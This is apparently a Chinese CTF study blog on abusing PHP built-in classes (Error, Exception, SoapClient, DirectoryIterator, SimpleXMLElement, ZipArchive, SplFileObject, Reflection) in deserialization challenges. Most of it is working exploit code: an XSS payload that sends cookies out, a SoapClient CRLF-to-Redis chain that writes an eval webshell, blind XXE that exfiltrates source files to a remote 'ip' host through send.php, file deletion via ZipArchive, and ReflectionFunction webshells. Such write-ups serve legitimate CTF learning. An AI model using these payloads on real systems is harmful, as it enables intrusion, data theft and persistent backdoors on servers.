学习一下php原生类

常用的php原生类

  1. Error
  2. Exception
  3. SoapClient
  4. Directorylterator
  5. SimpleXMLElement
  6. ZipArchive
  7. SplFileObject

一个一个来跟着大佬博客学习

使用Error/Exception内置类进行xss

内置类Error

  • 使用于php7
  • 开启报错

Error类是 php 的一个内置类,用于自动自定义一个 Error,在 php7 的环境下可能会造成一个 xss 漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个 POP 链走到一半就走不通了,不如尝试利用这个来做一个 xss,其实还是有好一些 cms 会选择直接使用 echo 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo object的时候)会触发 __toString 方法,这是一种挖洞的新思路。

对内置类Error xss的使用

1
2
3
4
5
6
<?php

$a = unserialize($_POST['cmd']); //反序列化成对象
echo $a; echo的时候触发__tostring

?>

exp

1
2
3
4
5
6
7
<?php

$a = new error('<script>alert(123)</script>');
echo urlencode(serialize($a));


?>

img

内置类Exception

  • 适用于php5,7
  • 开启报错
1
2
3
4
5
6
<?php

$a = unserialize($_POST['cmd']);
echo $a;

?>

exp

1
2
3
4
5
6
7
<?php

$a = new Exception('<script>alert(123)</script>');
echo urlencode(serialize($a));


?>

img

成功触发

[BJDCTF 2nd]xss之光

好像提到没环境了,那我们就把wp过一遍吧

1
2
3
4
<?php
$poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

其实就是使用xss执行window.open然后劫取cookie获得flag

使用Error/Exception内置类绕过hash

在上文中,我们已经认识了 Error 和 Exception 这两个 PHP 内置类,但对他们妙用不仅限于 XSS,还可以通过巧妙的构造绕过 md5() 函数和 sha1() 函数的比较。这里我们就要详细的说一下这个两个错误类了。

Error类

Error 是所有 PHP 内部错误类的基类,该类是在 PHP 7.0.0 中开始引入的。

类摘要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}

类属性:

  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数

类方法:

Exception类

Exception 是所有异常的基类,该类是在 PHP 5.0.0 中开始引入的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}

类属性:

  • message:异常消息内容
  • code:异常代码
  • file:抛出异常的文件名
  • line:抛出异常在该文件中的行号

类方法:

我们可以看到,在 Error 和 Exception 这两个 PHP 原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。

我们以 Error 为例,我们看看当触发他的 __toString 方法时会发生什么:

1
2
3
<?php
$a = new Error("payload",1);
echo $a;

输出:

img

发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

在来看看下一个例子:

img可见,$a$b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

Error 和 Exception 类的这一点在绕过在PHP类中的哈希比较时很有用,具体请看下面这道例题。

[0xgame2025]Rubbish_Unser

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

class ZZZ
{
public $yuzuha;

}

class HSR
{
public $robin;
}

class HI3rd
{
public $RaidenMei='1';
public $kiana=1;
public $guanxing;

}

class GI
{
public $furina;

}

class Mi
{
public $game;

}

$a = new ZZZ();
$a->yuzuha = new Mi();
$a->yuzuha->game = new GI();
$a->yuzuha->game->furina = new HI3rd();
//$a->yuzuha->game->furina->kiana='1';
//$a->yuzuha->game->furina->RaidenMei= 1;
$a->yuzuha->game->furina->guanxing= new HSR();
$a->yuzuha->game->furina->guanxing->robin = "system('ls');";

$b=array($a,0);

echo urlencode(serialize($b));


?>

img

md5绕过是php8的(和原生类 Error 有关 )

1
2
3
4
5
a='1';
b=1
或者
a=0;
b=0E1;

这个题,我当时做的时候用的就是error类或者exception类,但是直接生成的exp需要去掉一些东西(ai去掉的,现在已经忘记了),然后url编码后,直接就可以打了

[江苏省第七届网络空间知识技能大赛决赛]web1

第一个绕过使用均可以

1
2
3
4
$a = new Error("",1);$b = new Error("",2);

$a = NAN;
$b = "NAN";

然后是date这里会卡住

img

img

转义即可哦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class date{
public $a;
public $b;
public $file;

}

$a = new date();
$a->a=NAN;
$a->b='NAN';
$a->file='/\f\l\a\g';

echo base64_encode(serialize($a));

这里就是两种方法都可以绕过

使用soapClient类进行SSRF

soapClient类

PHP 的内置类 SoapClient 是一个专门用来访问 Web 服务的类,可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端。

类摘要如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是 wsdl 模式,将该值设为 null 则表示非 wsdl 模式。
  • 第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。

成功的前提需要先把 php.ini 开启 extension=soup

SoapClient+ssrf

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
error_reporting(0);

//hint: Redis20251206

class pure{
public $web;
public $misc;
public $crypto;
public $pwn;

public function __construct($web, $misc, $crypto, $pwn){
$this->web = $web;
$this->misc = $misc;
$this->crypto = $crypto;
$this->pwn = $pwn;
}

public function reverse(){
$this->pwn = new $this->web($this->misc, $this->crypto);
}

public function osint(){
$this->pwn->play_0xGame();
}

public function __destruct(){
$this->reverse();
$this->osint();
}
}

$AI = $_GET['ai'];

$ctf = unserialize($AI);

?>

img

这里会调用未知方法,所以可以调用到魔术方法call(这里会想到soapclient类的call方法),在结合提示redis和20251206(密码),这就是ssrf+redis。

主要利用请求头进行攻击(CLRF)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class pure {
public $web;
public $misc;
public $crypto;
public $pwn;
}

$a = new pure();
$a->web = 'SoapClient';
$a->misc = null;
$target = 'http://127.0.0.1:6379/';
$poc = "AUTH 20251206\r\nCONFIG SET dir /var/www/html/\r\nCONFIG SET dbfilename shell.php\r\nSET x '<?= @eval(\$_POST[1]) ?>'\r\nSAVE";
$a->crypto = array('location' => $target, 'uri' => "hello\"\r\n" . $poc . "\r\nhello");
echo urlencode(serialize($a));
  • \r\n 是HTTP协议中的换行符
  • 通过注入换行符,将Redis命令作为HTTP头部注入
  • Redis会将这些命令解析并执行

传入shell,连接蚁剑得到flag

img

使用Directorylterator类绕过open_basedir

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。翻译过来就是文件枚举迭代器。

Directorylterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件

测试源码:

1
2
3
4
5
6
7
8
9
10
11
// test.php
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

img

这边可以直接列取根目录

img

但是不能进行文件读取

同样效果的还有 FilesystemIterator 类与 GlobIterator 类

使用 SimpleXMLElement 类进行 XXE

官方文档中对于 SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

img

img

可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程 xml 文件的载入。第二个参数的常量值我们设置为 2 即可。第一个参数 data 就是我们自己设置的 payload 的 url 地址,即用于引入的外部实体的 url。

这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

[SUCTF 2018]Homework

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
class calc{
function __construct__(){
calc();
}

function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;

case 'b':
$method="-";
break;

case 'c':
$method="*";
break;

case 'd':
$method="/";
break;

default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>

登录进来有一个源码,但是没有什么可以利用的点

img

我们来看一下这里

出现了module这里是对类名的调用,后面是参数,这样可以使用simpleXmlElement来打一个无回显的xxe

1
http://d40c479f-f84a-495e-a09a-3ac1d2184c9d.node5.buuoj.cn:81/show.php?module=SimpleXMLElement&args[]=http://ip/evil.xml&args[]=2&args[]=true

evil.xml

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http:/ip/send.xml">
%remote;
%all;
%send;
]>

send.xml

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://ip/send.php?file=%file;'>">

send.php

1
2
3
<?php 
file_put_contents("result.txt", $_GET['file']) ;
?>

不知道是我的原因还是buu的原因,这里的源码带不出来但是这个思路肯定是能用的

使用 ZipArchive 类来删除文件

PHP ZipArchive 类是 PHP 的一个原生类,它是在 PHP 5.2.0 之后引入的。ZipArchive 类可以对文件进行压缩与解压缩处理。

下面列举几个常见的类方法:

  • ZipArchive::addEmptyDir:添加一个新的文件目录
  • ZipArchive::addFile:将文件添加到指定zip压缩包中
  • ZipArchive::addFromString:添加新的文件同时将内容添加进去
  • ZipArchive::close:关闭 ZipArchive
  • ZipArchive::extractTo:将压缩包解压
  • ZipArchive::open:打开一个zip压缩包
  • ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0) 代表删除第一个文件
  • ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
  • ……

我们来重点看看 ZipArchive::open 方法:

1
ZipArchive::open ( string $filename [, int $flags ] ) : mixed

该方法用来打开一个新的或现有的 zip 存档以进行读取,写入或修改。

  • $filename:要打开的 ZIP 存档的文件名。
  • $flags:用于打开档案的模式。有以下几种模式:
  • ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
  • ZipArchive::CREATE:如果不存在则创建一个 zip 压缩包。
  • ZipArchive::RDONLY:只读模式打开压缩包。
  • ZipArchive::EXCL:如果压缩包已经存在,则出错。
  • ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

注意,如果设置 flags 参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到 const OVERWRITE = 8,也就是将 OVERWRITE 定义为了常量8,我们在调用时也可以直接将 $flags 赋值为8。

也就是说我们可以利用 ZipArchive 原生类调用 open 方法删除目标主机上的文件。

1
2
3
4
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
// ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt

题目

题目是铸剑杯的,源码还是存着的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
highlight_file(__FILE__);
class install {
private $username;
private $password;

public function __wakeup()
{
echo "Hello,".$this->username;
}

public function __toString()
{
($this->username)();
return "Guest";
}

public function __destruct()
{
if(file_exists("install.lock")){
exit("Already installed");
}else{
$config = [
'username' => $this->username,
'password' => md5($this->password)
];
file_put_contents('config.php', serialize($config));
file_put_contents('install.lock', "ok");
}
}
}

class Until {
public $a;
public $b;
public $c;

public function __invoke()
{
$this->write($this->a, $this->b, $this->c);
}

public function __toString()
{
return "HappyUnserialize";
}

public function write($cla, $file, $cont)
{
$obj = new $cla();
$obj->open($file,$cont);
return True;
}
}

@unserialize($_GET['data']);

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class install {
private $username;
private $password;

public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
class Until {
public $a;
public $b;
public $c;
}

$c = new Until();
$c->a = 'ZipArchive';
$c->b = 'install.lock';
$c->c = 8;
$c->d = "<?php @eval(\$_POST[1]);?>";
$b = new install($c,123);
$a = new install($b,123);

echo urlencode(serialize($a));

使用SplFileObject来进行文件内容读取

SplFileObject 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。详情请参考:https://www.php.net/manual/zh/class.splfileobject.php

该类的构造方法可以构造一个新的文件对象用于后续的读取。

我们可以像类似下面这样去读取一个文件的一行:

1
2
3
4
<?php

$content = new SplFileObject('1.txt');
echo $content;

只能读取一行

1
2
3
4
5
6
<?php

$content = new SplFileObject('1.txt');
foreach ($content as $line) {
echo $line ;
}

img

读取多行

[GHCTF 2025]Popppppp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class CherryBlossom {
public $fruit1;
public $fruit2;


function __destruct() {
echo $this->fruit1;
}

public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}


class Philosopher {
public $fruit10;
public $fruit11="M7O3sikpATKW9t1AiqA4";

public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
class Mystery {

public $GlobIterator="/*";
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}

$x=new CherryBlossom();
$x->fruit1 = new CherryBlossom();
$x->fruit1->fruit2 = new Philosopher();
$x->fruit1->fruit2->fruit10 = new Mystery();

print_r(serialize($x));

img

将其实例化一个对象array_walk遍历数组,并赋值day1为值,day2为键

day3 将其实例化 day3=new GlobTterator(/*)

img

列出目录

img

读取内容

有关php原生类的调用,反序列化时可连续调用同一个类(更简便)

img

更改Mystery类的属性

img

拿到flag

双重碰撞md5的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits

def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start + str_len] == substr:
# print rnds
# stop_event.set()

# 碰撞双md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start + str_len] == substr:
print (rnds + "=>" + value + "=>" + md5.hexdigest() + "\n")
stop_event.set()
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event,
str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()

#python2 md5.py “666” 0

反射类Reflection

大体上和 Java 的反射也是一样的

ReflectionMethod 类报告了一个方法的有关信息。ReflectionMethod 类中有很多继承方法可以使用,比如这个 getDocComment() 方法,我们可以用它来获取类中各个函数注释内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class FlagIsHere
{
/**
* 这是测试方法
* flag{success}
* @return int
*/
protected function GiveMeFlag()
{
return 9999;
}
}

$ref = new ReflectionMethod('FlagIsHere','GiveMeFlag');
var_dump($ref->getDocComment());

img

使用ReflectionClass类获取类的属性和方法名

  • ReflectionClass 类报告了一个类的有关信息。其中初始化方法能够返回类的实例。
1
public ReflectionClass::__construct(mixed $argument)
  • $argument:既可以是包含类名的字符串(string)也可以是对象(object)。

用法如下

example:

img

把类里面属性和方法的名字都能够显示出来。

使用ReflectionFunction类写Webshell

ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()方法能够用来写Webshell。

1
public ReflectionFunction::invokeArgs(array $args): mixed
  • $args:传递给函数的参数是一个数组,像 call_user_func_array() 的工作方式。
1
2
3
4
5
6
7
8
9
10
<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
} //方法

$function = new ReflectionFunction('title');

echo $function->invokeArgs(array('Dr', 'Phil')); //参数
?>

img

写入webshell

1
2
3
4
<?php
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));
?>

img

题目就是,大家可以去看一下https://tari.moe/2021/2021hmb-offline.html

参考

https://drun1baby.top/2023/04/11/PHP-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%AD%A6%E4%B9%A0/#0x09-%E5%8F%8D%E5%B0%84%E7%B1%BB-Reflection

https://tari.moe/2021/2021hmb-offline.html